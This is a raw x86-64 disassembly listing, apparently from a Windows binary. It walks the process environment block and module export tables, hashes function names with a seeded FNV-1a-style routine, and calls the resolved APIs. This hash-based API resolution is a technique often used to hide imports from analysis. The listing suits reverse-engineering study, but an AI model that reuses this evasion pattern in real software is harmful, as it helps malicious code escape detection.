mov r10d, 0x266e53eb
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f1544
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f1510
cmp r10d, 0xc305cc24
je 0x7ff77f2f1551
test r11d, r11d
jne 0x7ff77f2f14f0
mov rax, qword [rax]
jmp 0x7ff77f2f14c0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov rdx, r15
mov rcx, qword [rbp - 0x30]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f1619
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f1619
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x2de0c368
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f1614
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f15e0
cmp r10d, 0xaec54063
je 0x7ff77f2f1621
test r11d, r11d
jne 0x7ff77f2f15c0
mov rax, qword [rax]
jmp 0x7ff77f2f1590
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov rcx, qword [rbp - 0x30]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f16e9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f16e9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x9b66c5af
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f16e4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f16b0
cmp r10d, 0x5bdeec6d
je 0x7ff77f2f16f1
test r11d, r11d
jne 0x7ff77f2f1690
mov rax, qword [rax]
jmp 0x7ff77f2f1660
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov rcx, r15
call rdx
nop
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x7ff77f2f174f
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff77f2f174a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff77f2f17e0
mov rcx, r8
call fcn.7ff77f355420
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x7ff77f2f1798
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x7ff77f2f1793
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff77f2f17e7
mov rcx, r8
call fcn.7ff77f355420
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.7ff77f355090
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x58]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.7ff77f2e3640
int3